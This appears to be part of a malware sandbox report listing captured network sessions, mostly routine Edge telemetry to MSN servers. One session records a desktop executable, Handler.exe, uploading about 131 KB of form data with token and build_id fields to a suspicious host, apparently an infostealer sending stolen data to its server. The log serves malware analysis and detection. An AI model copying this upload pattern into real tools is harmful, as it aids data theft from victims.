2025-01-13 19:18:38 UTC	11865	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 33 54 31 39 3a 31 38 3a 33 36 2e 32 36 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 35 34 62 39 61 61 37 2d 62 39 39 38 2d 34 39 38 39 2d 39 31 63 37 2d 65 34 65 63 31 61 31 36 30 33 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 36 37 36 33 37 35 30 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2025-01-13T19:18:36.267Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"a54b9aa7-b998-4989-91c7-e4ec1a160319","epoch":"3867637502"},"app":{"locale
2025-01-13 19:18:38 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=764218ff589547738618ad7f7fb83307&HASH=7642&LV=202501&V=4&LU=1736795918208; Domain=.microsoft.com; Expires=Tue, 13 Jan 2026 19:18:38 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5716c41b9687490b8d67d2abd4b1b244; Domain=.microsoft.com; Expires=Mon, 13 Jan 2025 19:48:38 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1924 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 13 Jan 2025 19:18:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49919	20.42.73.26	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:38 UTC	1060	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736795916298&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5180 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=17238CFC5C3C6BEA3601998F5DB66AEC; _EDGE_S=F=1&SID=01844A4CCF296D9901245F3FCEA86C5D; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-13 19:18:38 UTC	5180	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 33 54 31 39 3a 31 38 3a 33 36 2e 32 39 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 35 34 62 39 61 61 37 2d 62 39 39 38 2d 34 39 38 39 2d 39 31 63 37 2d 65 34 65 63 31 61 31 36 30 33 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 36 37 36 33 37 35 30 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2025-01-13T19:18:36.298Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"a54b9aa7-b998-4989-91c7-e4ec1a160319","epoch":"3867637502"},"app":{"locale
2025-01-13 19:18:38 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=57c04b9c61c94b0b82f27c745077ca32&HASH=57c0&LV=202501&V=4&LU=1736795918169; Domain=.microsoft.com; Expires=Tue, 13 Jan 2026 19:18:38 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e4cd37b06aea4ddf9a5f7263fcac63a7; Domain=.microsoft.com; Expires=Mon, 13 Jan 2025 19:48:38 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1871 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 13 Jan 2025 19:18:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49920	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:38 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----asjwt2dt2ngvaaaieusr User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:38 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 61 73 6a 77 74 32 64 74 32 6e 67 76 61 61 61 69 65 75 73 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 61 73 6a 77 74 32 64 74 32 6e 67 76 61 61 61 69 65 75 73 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 61 73 6a 77 74 32 64 74 32 6e 67 76 61 61 61 69 65 75 73 72 0d 0a 43 6f 6e 74 Data Ascii: ------asjwt2dt2ngvaaaieusrContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------asjwt2dt2ngvaaaieusrContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------asjwt2dt2ngvaaaieusrCont
2025-01-13 19:18:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:38 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:39 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49924	20.42.73.26	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:38 UTC	1070	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736795916993&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5380 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=17238CFC5C3C6BEA3601998F5DB66AEC; _EDGE_S=F=1&SID=01844A4CCF296D9901245F3FCEA86C5D; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D; _C_ETH=1
2025-01-13 19:18:38 UTC	5380	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 33 54 31 39 3a 31 38 3a 33 36 2e 39 38 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 35 34 62 39 61 61 37 2d 62 39 39 38 2d 34 39 38 39 2d 39 31 63 37 2d 65 34 65 63 31 61 31 36 30 33 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 36 37 36 33 37 35 30 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2025-01-13T19:18:36.988Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"a54b9aa7-b998-4989-91c7-e4ec1a160319","epoch":"3867637502"},"app":{"locale
2025-01-13 19:18:38 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7ed1eefcbba24cfba3a71939bc001353&HASH=7ed1&LV=202501&V=4&LU=1736795918903; Domain=.microsoft.com; Expires=Tue, 13 Jan 2026 19:18:38 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3ed1fe6071e042be93094fcedf50d5c4; Domain=.microsoft.com; Expires=Mon, 13 Jan 2025 19:48:38 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1910 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 13 Jan 2025 19:18:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49925	20.42.73.26	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:39 UTC	1070	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736795917316&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9796 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=17238CFC5C3C6BEA3601998F5DB66AEC; _EDGE_S=F=1&SID=01844A4CCF296D9901245F3FCEA86C5D; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D; _C_ETH=1
2025-01-13 19:18:39 UTC	9796	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 33 54 31 39 3a 31 38 3a 33 37 2e 33 31 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 35 34 62 39 61 61 37 2d 62 39 39 38 2d 34 39 38 39 2d 39 31 63 37 2d 65 34 65 63 31 61 31 36 30 33 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 36 37 36 33 37 35 30 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-13T19:18:37.315Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"a54b9aa7-b998-4989-91c7-e4ec1a160319","epoch":"3867637502"},"app":{"loc
